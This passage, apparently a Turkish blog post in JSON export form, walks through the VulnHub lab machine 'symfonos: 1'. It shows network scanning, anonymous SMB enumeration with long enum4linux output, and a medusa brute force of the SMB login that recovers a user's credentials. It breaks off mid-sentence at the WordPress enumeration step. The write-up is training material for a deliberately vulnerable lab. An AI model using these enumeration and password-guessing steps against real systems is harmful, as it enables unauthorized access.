{"id":1248,"date":"2021-06-24T23:36:14","date_gmt":"2021-06-24T23:36:14","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1248"},"modified":"2021-06-24T23:37:27","modified_gmt":"2021-06-24T23:37:27","slug":"symfonos-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/24\/symfonos-1\/","title":{"rendered":"SYMFONOS: 1"},"content":{"rendered":"<h2>Makine Hakk\u0131nda Bilgiler<\/h2>\n<p><strong>A\u00e7\u0131klama:<\/strong><br \/>\nBack to the Top<br \/>\nBeginner real life based machine designed to teach a interesting way of obtaining a low priv shell. SHOULD work for both VMware and Virtualbox.<\/p>\n<p>Name: symfonos: 1<br \/>\nDifficulty: Beginner<br \/>\nTested: VMware Workstation 15 Pro &amp; VirtualBox 6.0<br \/>\nDHCP Enabled<br \/>\nNote: You may need to update your host file for symfonos.local<\/p>\n<p><strong>Vulnhub Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/www.vulnhub.com\/entry\/symfonos-1,322\/\">https:\/\/www.vulnhub.com\/entry\/symfonos-1,322\/<\/a><\/p>\n<p><strong>\u0130ndirme Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/download.vulnhub.com\/symfonos\/symfonos1.7z\">https:\/\/download.vulnhub.com\/symfonos\/symfonos1.7z<\/a><\/p>\n<h2>Walkthrough<\/h2>\n<p>Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n<pre><code class=\"language-sh\">\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# arp-scan -l | grep 1e:ec\n192.168.31.140  08:00:27:fb:1e:ec   PCS Systemtechnik GmbH\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# ifconfig eth0 \neth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 192.168.31.102  netmask 255.255.255.0  broadcast 192.168.31.255\n        inet6 fe80::a00:27ff:fef2:f7d9  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 08:00:27:f2:f7:d9  txqueuelen 1000  (Ethernet)\n        RX packets 26255230  bytes 12570667041 (11.7 GiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 32497825  bytes 5351626420 (4.9 GiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n<\/code><\/pre>\n<p>nmap taramas\u0131 ile davam edelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# nmap 192.168.31.140 -p- -A -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-24 16:18 EDT\nNmap scan report for symfonos.local (192.168.31.140)\nHost is up (0.00075s latency).\nNot shown: 65530 closed ports\nPORT    STATE SERVICE     VERSION\n22\/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey: \n|   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)\n|   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)\n|_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)\n25\/tcp  open  smtp        Postfix smtpd\n|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, \n80\/tcp  open  http        Apache httpd 2.4.25 ((Debian))\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Site doesn&#039;t have a title (text\/html).\n139\/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)\nMAC Address: 08:00:27:FB:1E:EC (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\nService Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: mean: 4h39m57s, deviation: 2h53m12s, median: 2h59m57s\n|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)\n| smb-os-discovery: \n|   OS: Windows 6.1 (Samba 4.5.16-Debian)\n|   Computer name: symfonos\n|   NetBIOS computer name: SYMFONOS\\x00\n|   Domain name: \\x00\n|   FQDN: symfonos\n|_  System time: 2021-06-24T18:18:19-05:00\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb2-security-mode: \n|   2.02: \n|_    Message signing enabled but not required\n| smb2-time: \n|   date: 2021-06-24T23:18:19\n|_  start_date: N\/A\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.75 ms symfonos.local (192.168.31.140)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 51.45 seconds\n<\/code><\/pre>\n<p>\u00c7ok fazla servis var. Enum yapmaya ba\u015flayal\u0131m. http'nin dirb ve niktosunda bir \u015fey \u00e7\u0131kmad\u0131. smb'de enum4linux ile hem bir kullan\u0131c\u0131 hem de payla\u015f\u0131mlar yakalad\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# enum4linux -a 192.168.31.140                  \nStarting enum4linux v0.8.9 ( http:\/\/labs.portcullis.co.uk\/application\/enum4linux\/ ) on Thu Jun 24 16:20:26 2021\n\n ========================== \n|    Target Information    |\n ========================== \nTarget ........... 192.168.31.140\nRID Range ........ 500-550,1000-1050\nUsername ......... &#039;&#039;\nPassword ......... &#039;&#039;\nKnown Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none\n\n ====================================================== \n|    Enumerating Workgroup\/Domain on 192.168.31.140    |\n ====================================================== \n[+] Got domain\/workgroup name: WORKGROUP\n\n ============================================== \n|    Nbtstat Information for 192.168.31.140    |\n ============================================== \nLooking up status of 192.168.31.140\n    SYMFONOS        &lt;00&gt; -         B &lt;ACTIVE&gt;  Workstation Service\n    SYMFONOS        &lt;03&gt; -         B &lt;ACTIVE&gt;  Messenger Service\n    SYMFONOS        &lt;20&gt; -         B &lt;ACTIVE&gt;  File Server Service\n    ..__MSBROWSE__. &lt;01&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Master Browser\n    WORKGROUP       &lt;00&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Domain\/Workgroup Name\n    WORKGROUP       &lt;1d&gt; -         B &lt;ACTIVE&gt;  Master Browser\n    WORKGROUP       &lt;1e&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Browser Service Elections\n\n    MAC Address = 00-00-00-00-00-00\n\n ======================================= \n|    Session Check on 192.168.31.140    |\n ======================================= \n[+] Server 192.168.31.140 allows sessions using username &#039;&#039;, password &#039;&#039;\n\n ============================================= \n|    Getting domain SID for 192.168.31.140    |\n ============================================= \nDomain Name: WORKGROUP\nDomain Sid: (NULL SID)\n[+] Can&#039;t determine if host is part of domain or part of a workgroup\n\n ======================================== \n|    OS information on 192.168.31.140    |\n ======================================== \nUse of uninitialized value $os_info in concatenation (.) or string at .\/enum4linux.pl line 464.\n[+] Got OS info for 192.168.31.140 from smbclient: \n[+] Got OS info for 192.168.31.140 from srvinfo:\n    SYMFONOS       Wk Sv PrQ Unx NT SNT Samba 4.5.16-Debian\n    platform_id     :   500\n    os version      :   6.1\n    server type     :   0x809a03\n\n =============================== \n|    Users on 192.168.31.140    |\n =============================== \nindex: 0x1 RID: 0x3e8 acb: 0x00000010 Account: helios   Name:   Desc: \n\nuser:[helios] rid:[0x3e8]\n\n =========================================== \n|    Share Enumeration on 192.168.31.140    |\n =========================================== \n\n    Sharename       Type      Comment\n    ---------       ----      -------\n    print$          Disk      Printer Drivers\n    helios          Disk      Helios personal share\n    anonymous       Disk      \n    IPC$            IPC       IPC Service (Samba 4.5.16-Debian)\nSMB1 disabled -- no workgroup available\n\n[+] Attempting to map shares on 192.168.31.140\n\/\/192.168.31.140\/print$ Mapping: DENIED, Listing: N\/A\n\/\/192.168.31.140\/helios Mapping: DENIED, Listing: N\/A\n\/\/192.168.31.140\/anonymous  Mapping: OK, Listing: OK\n\/\/192.168.31.140\/IPC$   [E] Can&#039;t understand response:\nNT_STATUS_OBJECT_NAME_NOT_FOUND listing \\*\n\n ====================================================== \n|    Password Policy Information for 192.168.31.140    |\n ====================================================== \n\n[+] Attaching to 192.168.31.140 using a NULL share\n\n[+] Trying protocol 139\/SMB...\n\n[+] Found domain(s):\n\n    [+] SYMFONOS\n    [+] Builtin\n\n[+] Password Info for Domain: SYMFONOS\n\n    [+] Minimum password length: 5\n    [+] Password history length: None\n    [+] Maximum password age: 37 days 6 hours 21 minutes \n    [+] Password Complexity Flags: 000000\n\n        [+] Domain Refuse Password Change: 0\n        [+] Domain Password Store Cleartext: 0\n        [+] Domain Password Lockout Admins: 0\n        [+] Domain Password No Clear Change: 0\n        [+] Domain Password No Anon Change: 0\n        [+] Domain Password Complex: 0\n\n    [+] Minimum password age: None\n    [+] Reset Account Lockout Counter: 30 minutes \n    [+] Locked Account Duration: 30 minutes \n    [+] Account Lockout Threshold: None\n    [+] Forced Log off Time: 37 days 6 hours 21 minutes \n\n[+] Retieved partial password policy with rpcclient:\n\nPassword Complexity: Disabled\nMinimum Password Length: 5\n\n ================================ \n|    Groups on 192.168.31.140    |\n ================================ \n\n[+] Getting builtin groups:\n\n[+] Getting builtin group memberships:\n\n[+] Getting local groups:\n\n[+] Getting local group memberships:\n\n[+] Getting domain groups:\n\n[+] Getting domain group memberships:\n\n ========================================================================= \n|    Users on 192.168.31.140 via RID cycling (RIDS: 500-550,1000-1050)    |\n ========================================================================= \n[I] Found new SID: S-1-22-1\n[I] Found new SID: S-1-5-21-3173842667-3005291855-38846888\n[I] Found new SID: S-1-5-32\n[+] Enumerating users using SID S-1-5-21-3173842667-3005291855-38846888 and logon username &#039;&#039;, password &#039;&#039;\nS-1-5-21-3173842667-3005291855-38846888-500 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-501 SYMFONOS\\nobody (Local User)\nS-1-5-21-3173842667-3005291855-38846888-502 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-503 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-504 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-505 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-506 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-507 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-508 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-509 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-510 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-511 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-512 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-513 SYMFONOS\\None (Domain Group)\nS-1-5-21-3173842667-3005291855-38846888-514 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-515 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-516 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-517 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-518 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-519 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-520 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-521 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-522 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-523 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-524 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-525 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-526 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-527 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-528 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-529 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-530 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-531 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-532 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-533 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-534 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-535 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-536 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-537 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-538 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-539 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-540 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-541 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-542 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-543 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-544 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-545 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-546 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-547 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-548 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-549 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-550 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1000 SYMFONOS\\helios (Local User)\nS-1-5-21-3173842667-3005291855-38846888-1001 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1002 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1003 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1004 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1005 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1006 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1007 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1008 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1009 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1010 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1011 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1012 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1013 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1014 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1015 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1016 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1017 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1018 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1019 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1020 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1021 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1022 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1023 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1024 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1025 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1026 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1027 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1028 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1029 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1030 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1031 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1032 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1033 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1034 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1035 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1036 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1037 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1038 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1039 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1040 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1041 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1042 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1043 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1044 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1045 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1046 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1047 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1048 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1049 *unknown*\\*unknown* (8)\nS-1-5-21-3173842667-3005291855-38846888-1050 *unknown*\\*unknown* (8)\n[+] Enumerating users using SID S-1-5-32 and logon username &#039;&#039;, password &#039;&#039;\nS-1-5-32-500 *unknown*\\*unknown* (8)\nS-1-5-32-501 *unknown*\\*unknown* (8)\nS-1-5-32-502 *unknown*\\*unknown* (8)\nS-1-5-32-503 *unknown*\\*unknown* (8)\nS-1-5-32-504 *unknown*\\*unknown* (8)\nS-1-5-32-505 *unknown*\\*unknown* (8)\nS-1-5-32-506 *unknown*\\*unknown* (8)\nS-1-5-32-507 *unknown*\\*unknown* (8)\nS-1-5-32-508 *unknown*\\*unknown* (8)\nS-1-5-32-509 *unknown*\\*unknown* (8)\nS-1-5-32-510 *unknown*\\*unknown* (8)\nS-1-5-32-511 *unknown*\\*unknown* (8)\nS-1-5-32-512 *unknown*\\*unknown* (8)\nS-1-5-32-513 *unknown*\\*unknown* (8)\nS-1-5-32-514 *unknown*\\*unknown* (8)\nS-1-5-32-515 *unknown*\\*unknown* (8)\nS-1-5-32-516 *unknown*\\*unknown* (8)\nS-1-5-32-517 *unknown*\\*unknown* (8)\nS-1-5-32-518 *unknown*\\*unknown* (8)\nS-1-5-32-519 *unknown*\\*unknown* (8)\nS-1-5-32-520 *unknown*\\*unknown* (8)\nS-1-5-32-521 *unknown*\\*unknown* (8)\nS-1-5-32-522 *unknown*\\*unknown* (8)\nS-1-5-32-523 *unknown*\\*unknown* (8)\nS-1-5-32-524 *unknown*\\*unknown* (8)\nS-1-5-32-525 *unknown*\\*unknown* (8)\nS-1-5-32-526 *unknown*\\*unknown* (8)\nS-1-5-32-527 *unknown*\\*unknown* (8)\nS-1-5-32-528 *unknown*\\*unknown* (8)\nS-1-5-32-529 *unknown*\\*unknown* (8)\nS-1-5-32-530 *unknown*\\*unknown* (8)\nS-1-5-32-531 *unknown*\\*unknown* (8)\nS-1-5-32-532 *unknown*\\*unknown* (8)\nS-1-5-32-533 *unknown*\\*unknown* (8)\nS-1-5-32-534 *unknown*\\*unknown* (8)\nS-1-5-32-535 *unknown*\\*unknown* (8)\nS-1-5-32-536 *unknown*\\*unknown* (8)\nS-1-5-32-537 *unknown*\\*unknown* (8)\nS-1-5-32-538 *unknown*\\*unknown* (8)\nS-1-5-32-539 *unknown*\\*unknown* (8)\nS-1-5-32-540 *unknown*\\*unknown* (8)\nS-1-5-32-541 *unknown*\\*unknown* (8)\nS-1-5-32-542 *unknown*\\*unknown* (8)\nS-1-5-32-543 *unknown*\\*unknown* (8)\nS-1-5-32-544 BUILTIN\\Administrators (Local Group)\nS-1-5-32-545 BUILTIN\\Users (Local Group)\nS-1-5-32-546 BUILTIN\\Guests (Local Group)\nS-1-5-32-547 BUILTIN\\Power Users (Local Group)\nS-1-5-32-548 BUILTIN\\Account Operators (Local Group)\nS-1-5-32-549 BUILTIN\\Server Operators (Local Group)\nS-1-5-32-550 BUILTIN\\Print Operators (Local Group)\nS-1-5-32-1000 *unknown*\\*unknown* (8)\nS-1-5-32-1001 *unknown*\\*unknown* (8)\nS-1-5-32-1002 *unknown*\\*unknown* (8)\nS-1-5-32-1003 *unknown*\\*unknown* (8)\nS-1-5-32-1004 *unknown*\\*unknown* (8)\nS-1-5-32-1005 *unknown*\\*unknown* (8)\nS-1-5-32-1006 *unknown*\\*unknown* (8)\nS-1-5-32-1007 *unknown*\\*unknown* (8)\nS-1-5-32-1008 *unknown*\\*unknown* (8)\nS-1-5-32-1009 *unknown*\\*unknown* (8)\nS-1-5-32-1010 *unknown*\\*unknown* (8)\nS-1-5-32-1011 *unknown*\\*unknown* (8)\nS-1-5-32-1012 *unknown*\\*unknown* (8)\nS-1-5-32-1013 *unknown*\\*unknown* (8)\nS-1-5-32-1014 *unknown*\\*unknown* (8)\nS-1-5-32-1015 *unknown*\\*unknown* (8)\nS-1-5-32-1016 *unknown*\\*unknown* (8)\nS-1-5-32-1017 *unknown*\\*unknown* (8)\nS-1-5-32-1018 *unknown*\\*unknown* (8)\nS-1-5-32-1019 *unknown*\\*unknown* (8)\nS-1-5-32-1020 *unknown*\\*unknown* (8)\nS-1-5-32-1021 *unknown*\\*unknown* (8)\nS-1-5-32-1022 *unknown*\\*unknown* (8)\nS-1-5-32-1023 *unknown*\\*unknown* (8)\nS-1-5-32-1024 *unknown*\\*unknown* (8)\nS-1-5-32-1025 *unknown*\\*unknown* (8)\nS-1-5-32-1026 *unknown*\\*unknown* (8)\nS-1-5-32-1027 *unknown*\\*unknown* (8)\nS-1-5-32-1028 *unknown*\\*unknown* (8)\nS-1-5-32-1029 *unknown*\\*unknown* (8)\nS-1-5-32-1030 *unknown*\\*unknown* (8)\nS-1-5-32-1031 *unknown*\\*unknown* (8)\nS-1-5-32-1032 *unknown*\\*unknown* (8)\nS-1-5-32-1033 *unknown*\\*unknown* (8)\nS-1-5-32-1034 *unknown*\\*unknown* (8)\nS-1-5-32-1035 *unknown*\\*unknown* (8)\nS-1-5-32-1036 *unknown*\\*unknown* (8)\nS-1-5-32-1037 *unknown*\\*unknown* (8)\nS-1-5-32-1038 *unknown*\\*unknown* (8)\nS-1-5-32-1039 *unknown*\\*unknown* (8)\nS-1-5-32-1040 *unknown*\\*unknown* (8)\nS-1-5-32-1041 *unknown*\\*unknown* (8)\nS-1-5-32-1042 *unknown*\\*unknown* (8)\nS-1-5-32-1043 *unknown*\\*unknown* (8)\nS-1-5-32-1044 *unknown*\\*unknown* (8)\nS-1-5-32-1045 *unknown*\\*unknown* (8)\nS-1-5-32-1046 *unknown*\\*unknown* (8)\nS-1-5-32-1047 *unknown*\\*unknown* (8)\nS-1-5-32-1048 *unknown*\\*unknown* (8)\nS-1-5-32-1049 *unknown*\\*unknown* (8)\nS-1-5-32-1050 *unknown*\\*unknown* (8)\n[+] Enumerating users using SID S-1-22-1 and logon username &#039;&#039;, password &#039;&#039;\nS-1-22-1-1000 Unix User\\helios (Local User)\n\n =============================================== \n|    Getting printer info for 192.168.31.140    |\n =============================================== \nNo printers returned.\n<\/code><\/pre>\n<p>\u0130lk ba\u015fta kolay olanla ba\u015flayal\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# smbmap -H 192.168.31.140\n[+] Guest session       IP: 192.168.31.140:445  Name: symfonos.local                                    \n        Disk                                                    Permissions Comment\n    ----                                                    ----------- -------\n    print$                                              NO ACCESS   Printer Drivers\n    helios                                              NO ACCESS   Helios personal share\n    anonymous                                           READ ONLY   \n    IPC$                                                NO ACCESS   IPC Service (Samba 4.5.16-Debian)\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# smbclient \/\/192.168.31.140\/anonymous -u &quot;&quot;\nTry &quot;help&quot; to get a list of possible commands.\nsmb: \\&gt; ls\n  .                                   D        0  Fri Jun 28 21:14:49 2019\n  ..                                  D        0  Fri Jun 28 21:12:15 2019\n  attention.txt                       N      154  Fri Jun 28 21:14:49 2019\n\n        19994224 blocks of size 1024. 17107324 blocks available\nsmb: \\&gt; get attention.txt \ngetting file \\attention.txt of size 154 as attention.txt (50.1 KiloBytes\/sec) (average 50.1 KiloBytes\/sec)<\/code><\/pre>\n<p>Dosyay\u0131 okudu\u011fumda bana asl\u0131nda kullan\u0131c\u0131 bul ve sald\u0131r diyordu...<\/p>\n<pre><code class=\"language-sh\">\n\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# cat attention.txt \n\nCan users please stop using passwords like &#039;epidioko&#039;, &#039;qwerty&#039; and &#039;baseball&#039;! \n\nNext person I find using one of these passwords will be fired!\n\n-Zeus\n<\/code><\/pre>\n<p>Hydra ile yapt\u0131\u011f\u0131m smb brute'lar ba\u015far\u0131l\u0131 olmad\u0131 ancak <code>medusa<\/code> ve <code>msfconsole<\/code> ba\u015far\u0131l\u0131 oldu.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# cat passwords\nepidioko\nqwerty\nbaseball\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# cat users    \nhelios\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# medusa -h 192.168.31.140 -U users -P passwords -M smbnt\nMedusa v2.2 [http:\/\/www.foofus.net] (C) JoMo-Kun \/ Foofus Networks &lt;jmk@foofus.net&gt;\n\nACCOUNT CHECK: [smbnt] Host: 192.168.31.140 (1 of 1, 0 complete) User: helios (1 of 1, 0 complete) Password: epidioko (1 of 3 complete)\nACCOUNT CHECK: [smbnt] Host: 192.168.31.140 (1 of 1, 0 complete) User: helios (1 of 1, 0 complete) Password: qwerty (2 of 3 complete)\nACCOUNT FOUND: [smbnt] Host: 192.168.31.140 User: helios Password: qwerty [SUCCESS (ADMIN$ - Share Unavailable)]\n<\/code><\/pre>\n<p>\u015eimdi <strong>helios:qwerty<\/strong> ile giri\u015f yapal\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# smbclient \/\/192.168.31.140\/helios\/ -U &quot;\/helios&quot;                                                                                                                                                                                     130 \u2a2f\nEnter helios&#039;s password: \nTry &quot;help&quot; to get a list of possible commands.\nsmb: \\&gt; ls\n  .                                   D        0  Fri Jun 28 20:32:05 2019\n  ..                                  D        0  Fri Jun 28 20:37:04 2019\n  research.txt                        A      432  Fri Jun 28 20:32:05 2019\n  todo.txt                            A       52  Fri Jun 28 20:32:05 2019\n\n        19994224 blocks of size 1024. 15918344 blocks available\nsmb: \\&gt; get research.txt \ngetting file \\research.txt of size 432 as research.txt (105.5 KiloBytes\/sec) (average 105.5 KiloBytes\/sec)\nsmb: \\&gt; get todo.txt \ngetting file \\todo.txt of size 52 as todo.txt (8.5 KiloBytes\/sec) (average 47.3 KiloBytes\/sec)\nsmb: \\&gt; exit\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# cat research.txt                 \nHelios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# cat todo.txt    \n\n1. Binge watch Dexter\n2. Dance\n3. Work on \/h3l105\n<\/code><\/pre>\n<p>Bunun \u00fczerine <strong><a href=\"http:\/\/192.168.31.140\/h3l105\">http:\/\/192.168.31.140\/h3l105<\/a><\/strong> adresine gittim ve orada bir wordpress buldum. wpscan ile enum yapt\u0131\u011f\u0131mda admin 